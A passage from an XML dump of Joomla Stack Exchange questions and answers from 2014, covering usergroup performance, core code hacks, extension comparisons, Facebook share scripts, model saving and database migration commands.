characters&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestion is very much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="475" LastActivityDate="2014-09-08T08:18:44.750" Title="Migration Files - post update sql migration scripts generation" Tags="|migration|sql|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1086" PostTypeId="1" AcceptedAnswerId="1088" CreationDate="2014-06-01T13:20:08.857" Score="4" ViewCount="192" Body="&lt;p&gt;I am working on a Joomla 3.3.0 website that has about 140 usergroups. However this causes the joomla to slow down, particularly when I am going to the sections of the website that needs to load the usergroups e.g. the global configuration and the configuration of each component. I also feel that module edit page loading, is taking a bit longer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While waiting to load the page, Chrome throws a message that pages became unresponsive. If I click on the wait button, it will load them after a while.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/oyk9b.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Searching in Google, I found only a &lt;a href=&quot;http://code.joomla.org/gf/project/joomla/tracker/?action=TrackerItemEdit&amp;amp;tracker_item_id=27709&quot; rel=&quot;nofollow noreferrer&quot;&gt;similar issue in a J2.5&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone any similar issue in recent Joomla versions? &lt;br /&gt;Is this a known bug and how to deal with it?&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-01-27T10:46:00.657" Title="Many usergroups slow down sections of the website" Tags="|performance|user-groups|bugs|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1088" PostTypeId="2" ParentId="1086" CreationDate="2014-06-01T13:52:55.220" Score="2" Body="&lt;p&gt;It seems that the issue caused by the default limit of &lt;code&gt;max_input_vars&lt;/code&gt; of php and to the fact that the page is trying to load a significant amount of fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue has been discussed &lt;a href=&quot;http://joomlacode.org/gf/project/joomla/tracker/?action=TrackerItemEdit&amp;amp;tracker_item_id=31958&amp;amp;start=7475&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://groups.google.com/forum/#!searchin/joomla-dev-cms/user$20group$20limit/joomla-dev-cms/xpDLD_kOv6c/IPx4Lf7jv3kJ&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As solution, it is suggested to increase the &lt;code&gt;php_max_input_vars&lt;/code&gt; on the server.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Update:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The continue of this issue with a solution to overcome the performance issues, caused by the loading of a big number of usergroups is here:&#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/1090/filtering-the-usergroups-loaded-in-com-config/1091#1091&quot;&gt;Filtering the usergroups loaded in com_config&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2014-06-01T18:36:20.777" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1089" PostTypeId="2" ParentId="993" CreationDate="2014-06-01T16:34:48.660" Score="2" Body="&lt;p&gt;Showing re-captcha before deleting user's account will be a complex task.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can customize the code, here is an suggestion, which can be fruitful for you.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;An extra text box can be displayed in which user can fill the text string. This value can be any mathematics calculation or any pattern of string. You need to store the expected value in session so that you can verify it later.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can verify that text when user confirm the request of deleting his account. But you need to change the code of Javascript to send the value of text box.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Hope it helps you.&lt;/p&gt;&#xA;" OwnerUserId="317" LastActivityDate="2014-06-01T16:34:48.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1090" PostTypeId="1" AcceptedAnswerId="1091" CreationDate="2014-06-01T17:05:15.743" Score="1" ViewCount="135" Body="&lt;p&gt;Following my &lt;a href=&quot;https://joomla.stackexchange.com/questions/1086/many-usergroups-slow-down-sections-of-the-website&quot;&gt;previous post&lt;/a&gt;, trying to make the load of config component lighter. Since, the majority of my usergroups are children of the registered usergroup and inherit the same permissions, I don't need them to get loaded in com_config. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a workaround, I am looking for a way to filter them out, by hacking the core code. I tried with a where in the &lt;code&gt;getUserGroups()&lt;/code&gt; function in : &lt;code&gt;/administrator/components/com_config/models/fields/filters.php&lt;/code&gt;, as well in &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;`/administrator/components/com_config/model/fields/filters.php` .&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The function became like: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function getUserGroups()&#xA;    {&#xA;        // Get a database object.&#xA;        $db = JFactory::getDBO();&#xA;        // Get the user groups from the database.&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;        $query-&amp;gt;select('a.id AS value, a.title AS text, COUNT(DISTINCT b.id) AS level');&#xA;        $query-&amp;gt;from('#__usergroups AS a');&#xA;        $query-&amp;gt;join('LEFT', '#__usergroups AS b on a.lft &amp;gt; b.lft AND a.rgt &amp;lt; b.rgt');&#xA;        $query-&amp;gt;where('a.parent_id != 2');&#xA;        $query-&amp;gt;group('a.id, a.title, a.lft');&#xA;        $query-&amp;gt;order('a.lft ASC');&#xA;        $db-&amp;gt;setQuery($query);&#xA;        $options = $db-&amp;gt;loadObjectList();&#xA;        return $options;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But these changes seem to have no effect in the groups loading of the com_config.&#xA;I did the same change in  &lt;code&gt;/libraries/joomla/form/fields/rules.php&lt;/code&gt;, and this filters out those groups. But I am afraid that this might act globally in what u.groups Joomla will see, affecting some of the components that I need to see those u.groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At first, why the hack on the com_config &lt;code&gt;getUsergroups()&lt;/code&gt; function has no effect ?&#xA;What should I do in order to achieve my filtering there ? &#xA;Secondly, I am right to consider that my second modification will hide those u.groups from everywhere in Joomla ? &lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2014-06-03T12:21:33.147" Title="Filtering the usergroups loaded in com_config" Tags="|user-groups|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1091" PostTypeId="2" ParentId="1090" CreationDate="2014-06-01T18:31:50.337" Score="0" Body="&lt;p&gt;I ended up by hacking the rules.php inside:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;/libraries/joomla/form/fields/rules.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As it is documented inside the file, this is a form class for assigning permissions to groups for a given asset. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;getUserGroups()&lt;/code&gt; in the com_config seems to do nothing for permissions groups load, but it is used for the groups in the filters section (obviously).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Checking in com_users, I can still see my extra usergroups and probably I will still have the required access for my other needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in my case, this small core hack will keep me going, till Joomla comes out with a better solution. Of course it is not maintainable an I should manually re-do this after any updates.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2014-06-03T12:21:33.147" LastActivityDate="2014-06-03T12:21:33.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1092" PostTypeId="1" CreationDate="2014-06-01T19:38:10.830" Score="0" ViewCount="2425" Body="&lt;p&gt;I am using Joomla plugin &quot;Google Maps&quot; (i.e. plugin_googlemap3). I created a map with markers on Google maps pro and downloaded the kml file. I utilize the {mosmap} call with the kml parameter in the website article. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;{mosmap kml='https:///myfile.kml'|centerlat='38.8403'|centerlon='-97.6114'|zoom='4'}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The map is rendered, but no markers are displayed. I have used Google Earth to check the kml file and the markers appear in it. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="476" LastEditorUserId="22" LastEditDate="2014-06-02T19:58:32.607" LastActivityDate="2014-09-30T21:44:46.570" Title="Why does {mosmap} not show markers?" Tags="|joomla-3.x|extensions|plugin|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1093" PostTypeId="1" AcceptedAnswerId="1096" CreationDate="2014-06-02T03:38:35.400" Score="2" ViewCount="5518" Body="&lt;p&gt;I'm going to make a small social network and I do not have any experience in this issue.&#xA;Which is better to use, JomSocial or Community Builder?&#xA;Which one is more secure?&#xA;Please give me your reasons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best Regards,&#xA;Ata&lt;/p&gt;&#xA;" OwnerUserId="311" LastEditorUserId="126" LastEditDate="2015-06-05T11:36:44.353" LastActivityDate="2015-06-05T11:36:44.353" Title="Jomsocial or Community Builder?" Tags="|component|extensions|security|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1094" PostTypeId="2" ParentId="1070" CreationDate="2014-06-02T03:43:40.107" Score="4" Body="&lt;p&gt;Try this,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is a different approach for the requirement, Many times the OG tags creates issue for sharing image URL on FB, due to cache,compression etc.&#xA;So in any CMS its better to use &lt;code&gt;Javascript SDK for FB&lt;/code&gt; share to share custom image,title ,description etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue with cache or compression and conflict with &lt;code&gt;OG tags&lt;/code&gt; will get solved with this method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just Create an APP on FB.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;application/javascript&quot;&amp;gt;&#xA;  window.fbAsyncInit = function() {&#xA;    // init the FB JS SDK&#xA;    FB.init({&#xA;      appId      : 'APP ID',                            &#xA;      status     : true,                                 &#xA;      xfbml      : true                                  &#xA;    });&#xA;&#xA;  };&#xA;&#xA;  // Load the SDK asynchronously&#xA;  (function(d, s, id){&#xA;     var js, fjs = d.getElementsByTagName(s)[0];&#xA;     if (d.getElementById(id)) {return;}&#xA;     js = d.createElement(s); js.id = id;&#xA;     js.src = &quot;//connect.facebook.net/en_US/all.js&quot;;&#xA;     fjs.parentNode.insertBefore(js, fjs);&#xA;   }(document, 'script', 'facebook-jssdk'));&#xA;&#xA;function FBShareOp(){&#xA;    var product_name   =    'your title name';&#xA;    var description    =    'description';&#xA;    var share_image    =    'full image url ';&#xA;    var share_url      =    'url to share'; &#xA;        var share_capt     =    'caption';&#xA;    FB.ui({&#xA;        method: 'feed',&#xA;        name: product_name,&#xA;        link: share_url,&#xA;        picture: share_image,&#xA;        caption: share_capt,&#xA;        description: description&#xA;&#xA;    }, function(response) {&#xA;        if(response &amp;amp;&amp;amp; response.post_id){}&#xA;        else{}&#xA;    });&#xA;&#xA;}&#xA;&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for more details of &lt;a href=&quot;http://www.walkswithme.net/facebook-share-button-with-custom-parameters&quot; rel=&quot;nofollow&quot;&gt;Custom Share button on FB&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hope it make sense.&lt;/p&gt;&#xA;" OwnerUserId="138" LastActivityDate="2014-06-02T03:43:40.107" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1095" PostTypeId="2" ParentId="1093" CreationDate="2014-06-02T07:35:01.600" Score="3" Body="&lt;p&gt;Don't get me wrong, Community Builder comes in very handy as it integrates with other extensions and is rather flexible. However, it's an absolutely massive extension. This is due to the fact that it supports Mambo and Joomla 1.0 all the way through to 3.x, therefore there is simply a load of code sitting around. Another drawback is that it wasn't written using MVC therefore things like template overrides (which are widely used) are impossible. &#xA;Having said that, Community Builder 2.0 has been completely re-written so it might be worth waiting till it becomes available to download. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have never actually used JomSocial, so I'm unable to comment on the features, however I do know that this extension uses MVC and will make life much easier for you.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-06-02T07:35:01.600" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1096" PostTypeId="2" ParentId="1093" CreationDate="2014-06-02T08:16:47.363" Score="5" Body="&lt;p&gt;&lt;strong&gt;Community Builder&lt;/strong&gt;&lt;br /&gt;&#xA;My first touch with social extensions for Joomla was with Community Builder, some years ago, on my early steps into the Joomla world. At that time, I found it troublesome enough, as it needed a significant amount of configuration steps. Since that time, I have never used it again, not because I didn't like it, but just because it never happened. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;JomSocial&lt;/strong&gt;&lt;br /&gt;&#xA;As for JomSocial, I have used it on Joomla 1.5 and Joomla 2.5 websites as per customer needs. As you can find in various posts in the web, it does indeed a pretty good job on letting you build rather fast, an adequate social network in Joomla &quot;out of the box&quot;. It has a significant amount of features and comes packaged with nice layouts, that will let you be up and running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Comparison&lt;/strong&gt;&lt;br /&gt;&#xA;But comparing to Community Builder, it will reach rather soon a limit, regarding the configuration and extensibility options, particularly if you want to take your Social Network to the next level. Furthermore, I have heard many users complain about the level of support, but I know that recently JomSocial has changed owner and I can't be sure about the current situation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Integration&lt;/strong&gt;&lt;br /&gt;&#xA;Regarding extensibility and integrations, both components are well-known in the Joomla community and there are dozens of plugins, templates and other extensions that integrate with both.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;MVC&lt;/strong&gt;&lt;br /&gt;&#xA;As Lodder said, MVC is critical point when we are talking about Joomla extensions these days. It just makes coder's life much more flexible and the maintenance is a lot more &#xA;easier. If the new CB is going to be released using MVC, then this is surely a very huge advantage, considering that in the long run, it looks like a more solid and extensible extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Migration&lt;/strong&gt;&lt;br /&gt;&#xA;One other thing, that you might want to consider, is the option to migrate from one component to the other. On this topic, I have heard about a JomSocial tool, that will let you migrate a community builder social network to JomSocial, while there is not such a tool for the other way so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Plan &amp;amp; Research&lt;/strong&gt;&lt;br /&gt;&#xA;I would suggest to make a plan of what you want your Social Network do and write down the features and functionality you are going to need. Then compare the features of the 2 extensions and also try extensively their demos and search on their forums about posts related to your desired features, issues etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;br /&gt;&#xA;Finally, it all comes to what you want your Social Network do. If you need a quick and simple social network without much work, then JomSocial looks like your choice. If you envision a much more complicated social network, then better consider CB.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-06-02T08:16:47.363" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1097" PostTypeId="2" ParentId="1092" CreationDate="2014-06-02T08:25:19.720" Score="1" Body="&lt;p&gt;&lt;strong&gt;Some ideas&lt;/strong&gt;:&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Make sure you have followed the instructions correctly and that have&#xA;published and configured anything that is required.&lt;/li&gt;&#xA;&lt;li&gt;Also, check if the whole plugin is working correctly or if you may&#xA;get JS conflicts.&lt;/li&gt;&#xA;&lt;li&gt;Also, check with a debugger tool if any other errors exist (e.g.&#xA;broken links to markers images files)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-06-02T08:25:19.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1098" PostTypeId="5" CreationDate="2014-06-02T13:29:07.387" Score="0" Body="&lt;h1&gt;K2 - Content and CCK&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;K2&lt;/strong&gt; is the popular and powerful content extension for Joomla with &lt;strong&gt;CCK-like&lt;/strong&gt; features. It provides an out-of-the box integrated solution featuring rich content forms for items (think of Joomla articles with additional fields for article images, videos, image galleries and attachments), nested-level categories, tags, comments, a system to extend the item base form with additional fields, a powerful plugin API to extend item, category and user forms, ACL, frontend editing, sub-templates and a lot more!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;K2 is available for free. There is a whole dedicated section of extensions (free and commercial) that are built specifically for K2 or with K2 support, that extends default K2 functionality or add integration with other Joomla extensions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://getk2.org&quot; rel=&quot;nofollow&quot;&gt;Download K2 Component&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;K2 is developed and maintained by &lt;a href=&quot;http://www.joomlaworks.net/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;JoomlaWorks&lt;/strong&gt;&lt;/a&gt;&lt;/em&gt;  &lt;/p&gt;&#xA;" OwnerUserId="-1" LastEditorUserId="126" LastEditDate="2015-08-21T15:36:41.127" LastActivityDate="2015-08-21T15:36:41.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1099" PostTypeId="4" CreationDate="2014-06-02T13:29:07.387" Score="0" Body="K2 is a Content and CCK (content construction kit) Extension for Joomla! that provides more features than the standard content component." OwnerUserId="18" LastEditorUserId="126" LastEditDate="2015-08-21T15:07:03.150" LastActivityDate="2015-08-21T15:07:03.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1100" PostTypeId="1" AcceptedAnswerId="1101" CreationDate="2014-06-02T14:15:41.787" Score="2" ViewCount="790" Body="&lt;p&gt;I am saving a model from controller as mentioned below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$model-&amp;gt;save($data);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My model save function looks as shown below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function save($data)&#xA;{&#xA;    $id = (!empty($data['id'])) ? $data['id'] : (int)$this-&amp;gt;getState('rev.id');&#xA;    $state = (!empty($data['state'])) ? 1 : 0;&#xA;    $user = JFactory::getUser();&#xA;&#xA;    if($id) {&#xA;        //Check the user can edit this item&#xA;        $authorised = $user-&amp;gt;authorise('core.edit', 'com_customroi.rev.'.$id) || $authorised = $user-&amp;gt;authorise('core.edit.own', 'com_customroi.rev.'.$id);&#xA;        if($user-&amp;gt;authorise('core.edit.state', 'com_customroi.rev.'.$id) !== true &amp;amp;&amp;amp; $state == 1){ //The user cannot edit the state of the item.&#xA;            $data['state'] = 0;&#xA;        }&#xA;    } else {&#xA;        //Check the user can create new items in this section&#xA;        $authorised = $user-&amp;gt;authorise('core.create', 'com_customroi');&#xA;        if($user-&amp;gt;authorise('core.edit.state', 'com_customroi.rev.'.$id) !== true &amp;amp;&amp;amp; $state == 1){ //The user cannot edit the state of the item.&#xA;            $data['state'] = 0;&#xA;        }&#xA;    }&#xA;&#xA;    if ($authorised !== true) {&#xA;        JError::raiseError(403, JText::_('JERROR_ALERTNOAUTHOR'));&#xA;        return false;&#xA;    }&#xA;&#xA;    $table = $this-&amp;gt;getTable();&#xA;    if ($table-&amp;gt;save($data) === true) {&#xA;        return $id;&#xA;    } else {&#xA;        return false;&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After saving the model in controller (which is working fine), I need to save some associated data for which I need the ID of the saved model. I tried the following hoping one of them will return the ID along with other information but no success so far.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$model-&amp;gt;getProperties();&#xA;$model-&amp;gt;getState('rev.id');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Getting ID of an model shouldn't be that difficult so I must be missing something basic here.&lt;/p&gt;&#xA;" OwnerUserId="145" LastActivityDate="2014-06-02T15:05:45.527" Title="ID of saved JModelForm" Tags="|joomla-3.3.x|model|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1101" PostTypeId="2" ParentId="1100" CreationDate="2014-06-02T14:22:00.377" Score="2" Body="&lt;p&gt;Database driver will add the result back to the Table after saving.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, something like next should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$table = $this-&amp;gt;getTable();&#xA;if ($table-&amp;gt;save($data) === true) {&#xA;    return $table-&amp;gt;id;&#xA;} else {&#xA;    return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="87" LastEditorUserId="87" LastEditDate="2014-06-02T15:05:45.527" LastActivityDate="2014-06-02T15:05:45.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1103" PostTypeId="2" ParentId="735" CreationDate="2014-06-02T16:14:16.363" Score="0" Body="&lt;p&gt;Another speed improvement option would be to put Nginx in front of it as a reverse proxy. This would reduce a lot of database access as the common pages would never go to joomla and mysql&#xA;Cant find the proxy config but these are the base setup&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/Nginx&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://docs.joomla.org/Nginx&lt;/a&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;a href=&quot;http://www.nginxtips.com/nginx-joomla-friendly-url/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.nginxtips.com/nginx-joomla-friendly-url/&lt;/a&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/23960359/how-to-get-nginx-proxy-caching-to-work-with-dynamic-content&quot;&gt;https://stackoverflow.com/questions/23960359/how-to-get-nginx-proxy-caching-to-work-with-dynamic-content&lt;/a&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/a/2655023/6096&quot;&gt;https://stackoverflow.com/a/2655023/6096&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="109" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2014-06-02T16:21:37.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1104" PostTypeId="2" ParentId="1084" CreationDate="2014-06-02T21:09:02.733" Score="1" Body="&lt;p&gt;Two scenarios:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Development, Staging-Authoring, Production&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Production is read-only, Staging is where content is prepared and tests are made.&#xA;Joomla is always updated on Staging, then the db is saved along with the commit, and restored on pull in production.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Development, Staging, Production&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Contents are edited on Production. Joomla updates are performed on Staging. Once you push them, just go to extensions/database and press Fix.  Or, for larger servers, automate it with a system plugin (write a plugin that listens for some param in onAfterRoute, check if it's a local call ($_SERVER['REMOTE_ADDR']='127.0.0.1' and schedule a cron job to invoke it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To perform the db updates after each version upgrade, you have two ways:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Automatic&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to administrator - extensions - extension manager, click database on the left, and click &quot;Fix&quot; on top.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this page has errors (the case when upgrading from 2.5 to 3.3), try going directly to the url: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/administrator/index.php?option=com_installer&amp;amp;view=database&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Manual&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the above fails, (see also @Diego's comment below):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; find administrator/components/com_admin/sql/updates/mysql/3*.sql | grep mysql &amp;gt; 33.listsql&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and fitler out the relevant files (the versions affected are in the filename)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, provided j25 is your db prefix&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cat 33.listsql | xargs cat &amp;gt; 33.sql&#xA;sed -i 's/#_/j25/' 33.sql&#xA;mysql -u user --password=&quot;somepass&quot; dbname &amp;lt; 33.sql&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="377" LastEditorUserId="377" LastEditDate="2014-07-10T07:11:59.857" LastActivityDate="2014-07-10T07:11:59.857" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1105" PostTypeId="1" AcceptedAnswerId="1114" CreationDate="2014-06-02T23:29:31.873" Score="9" ViewCount="2844" Body="&lt;p&gt;Of all the Joomla editors we've used, JCE has best suited our purposes and clients. But there's a few problems with the editor that can cause problems when we code something, then it's toggled to wysiwyg and the editor tries to 'fix' our perfectly valid html.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before you go asking questions - yes, we've set it to allow all those elements JCE likes to restrict, and no, it is NOT set to validate / clean up the html. The only restrictions we have are for pasting content into the editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Exhibit A:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;#&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will disappear on toggling editor and back. Replaced with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;&amp;amp;nbsp;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Exhibit B:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a id=&quot;#nameofanchor&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Changes to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;&amp;amp;nbsp;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Exhibit C:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div&amp;gt;&amp;lt;a id=&quot;#nameofanchor&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Changes to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div&amp;gt;&amp;amp;nbsp;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Exhibit D:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a id=&quot;hello&quot; class=&quot;link&quot;&amp;gt;Hello&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Changes to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;&amp;lt;a id=&quot;hello&quot; class=&quot;link&quot;&amp;gt;&amp;lt;/a&amp;gt;Hello&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Exhibit E:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;#&quot;&amp;gt;&#xA;&amp;lt;div&amp;gt;&#xA;&amp;lt;h2&amp;gt;Our Work&amp;lt;/h2&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Changes to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;div&amp;gt;&#xA;&amp;lt;h2&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Our 